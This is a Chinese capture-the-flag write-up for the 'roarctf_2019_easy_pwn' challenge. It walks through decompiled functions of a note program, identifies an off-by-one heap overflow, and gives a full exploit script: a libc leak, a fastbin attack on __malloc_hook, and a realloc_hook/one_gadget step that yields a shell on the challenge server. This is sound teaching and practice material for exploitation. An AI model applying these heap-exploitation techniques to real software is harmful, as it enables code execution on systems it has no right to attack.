常规检查
逆向分析
Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice:
create 函数
*(&unk_202040 + 4 * i) = 1;
*(&unk_202044 + 4 * i) = v4;
qword_202048[2 * i] = v5;
- *(&unk_202040 + 4 * i):置 1 记录 chunk 已创建
- *(&unk_202044 + 4 * i):存放 chunk 的大小
- qword_202048[2 * i]:存储 chnk 的地址
write 函数
v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);
printf("content: ");
v2 = sub_D92(qword_202048[2 * v3], v4);
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}
- sub_E26(*(&unk_202044 + 4 * v3), v2):存在 off-by-one 漏洞
- sub_D92(qword_202048[2 * v3], v4):将 v4 字节大小的内容写入 qword_202048[2 * v3] 对应的块地址。
drop 函数
*(&unk_202040 + 4 * v0) = 0;
*(&unk_202044 + 4 * v0) = 0;
free(qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
- 将记录 chunk 创建的 1 置 0 。
- 将记录 chunk 的大小置 0。
- free 掉对应的 chunk 。
- 将存储的 chunk 指针置 0。
show 函数
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
- 打印 qword_202048[2 * SHIDWORD(v2)] 对应块的 *(&unk_202044 + 4 * SHIDWORD(v2) 个字节的内容。
利用思路
- off by one 泄露 main_arena 地址,从而计算 其他 libc 函数地址
- 迁移 top chunk 防止其与 uaf 的 fastbin 合并
- fastbin attack 任意写
- 利用 realloc_hook 达成 one_gadget 条件
exp 脚本
from pwn_debug import *
pdbg = pwn_debug('./roarctf_2019_easy_pwn')
pdbg.local()
pdbg.remote('node3.buuoj.cn',25308)
io = pdbg.run('remote')
libc = pdbg.libc
def add(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
def edit(index,size,data):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(data)
def free(index):
io.recvuntil('choice: ')
io.sendline('3')
io.recvuntil('index:')
io.sendline(str(index))
def show(index):
io.recvuntil('choice: ')
io.sendline('4')
io.recvuntil('index:')
io.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3
add(0x28)#4
add(0x28)#5
add(0x68)#6
edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))#设置 chunk 2 的大小为 small bin
free(2)
show(1) #泄露 main_arena 的地址
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a
#gdb.attach(io)
edit(4,50,'a'*0x28+p8(0xa1))
free(5) #迁移 top chunk ,防止 free chunk 6 的时候 chunk 与 top chunk 合并
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #fastbin attack 任意地址写
add(0x68)#5
add(0x68)#6
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16)) #利用 ralloc_hook 改变栈环境达成 one_gadget 的条件
#gdb.attach(io)
add(0x10)
io.interactive()
内容来源
【pwn】roarctf_2019_easy_pwn